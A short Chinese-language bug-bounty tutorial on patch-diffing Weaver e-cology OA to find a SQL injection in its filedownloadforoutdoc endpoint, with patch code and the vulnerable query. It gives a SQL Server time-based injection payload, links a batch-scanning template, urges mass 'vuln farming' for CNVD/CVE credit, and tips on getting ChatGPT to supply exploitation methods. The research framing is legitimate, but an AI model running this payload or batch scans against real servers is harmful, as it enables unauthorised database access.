阅
实战SRC挖掘
实战挖掘
泛微e-cology sql注入
厂商发布漏洞补丁
下载分析补丁
- 按照时间找出补丁文件
unzip -l e-***.zip | grep "2023-07"
- 分析补丁文件(不懂java也没关系 扔给chatgpt)
if (path.indexOf("weaver") != -1 && path.indexOf("file") != -1 && path.indexOf("filedownloadforoutdoc") != -1) {
String fileidStr = req.getParameter("fileid");
String isFromOutImg = Util.null2String(req.getParameter("isFromOutImg"));
if ("1".equals(isFromOutImg) && !"".equals(fileidStr) && sc.getIntValue(fileidStr) < 0) {
sc.writeLog(">>>>Xss(Validate failed[Perssion reject]) validateClass=weaver.security.rules.SecurityRuleForOutDocForSql path=" + req.getRequestURI() + " fileid = " + req.getParameter("fileid") + " fileiddes = " + fileidStr + " security validate failed! source ip:" + ThreadVarManager.getIp());
return false;
}
如果路径中包含"weaver"、"file"和"filedownloadforoutdoc"这三个关键词:
1. 获取请求参数中的"fileid"和"isFromOutImg"的值。
2. 如果"isFromOutImg"的值为"1",并且"fileid"的值不为空,并且将"fileid"的值转换为整数后小于0:
- 输出一条日志,表示安全验证失败
- 返回false,表示验证失败。
- 去weaver\file\filedownloadforoutdoc.class路径中去找(sql注入可能的函数 / 补丁包中的参数)
String var4 = Util.null2String(var1.getParameter("isFromOutImg"));
// 如果"isFromOutImg"的值为"1"
if ("1".equals(var4)) {
RecordSet var5 = new RecordSet();
// 查询imagefile表中COMEFROM字段的值,条件是imagefileid等于var3的值
var5.executeQuery("select COMEFROM from imagefile where imagefileid=" + var3, new Object[0]);
}
POC
filed=1+WAITFOR+DELAY%@&):):%%27&isFromOutImg=1
该poc为 sqlserver 延时注入 / 可替换其他数据库延时注入代码
- 环境搭建,漏洞复现
- 编写poc,批量刷洞
https://github.com/y231028/Sheep_poc/blob/main/OA%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AE/%E6%B3%9B%E5%BE%AEe-cology_filedownloadforoutdoc_sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ecology-oa-filedownloadforoutdoc-sqli.yaml
- 交cnvd (通用型)/ cve
根据时间差能换证书
偷懒小技巧
chatgpt
- 先用一些半自动化的审计工具 拿到一些可能存在漏洞的代码的位置或者参数
- 把这些可能存在漏洞的文件 复制粘贴给chatgpt
- 分析上述代码是否存在漏洞,如果存在请给出具体的代码块(特别注意漏洞代码块周围if等条件判断语句的绕过),简述漏洞原理,给出漏洞利用方法,(不要使用删除数据等危险方法进行漏洞验证),给出修复建议和修复后的代码示例
- chatgpt一般不会判断存在漏洞的代码块周围的条件判断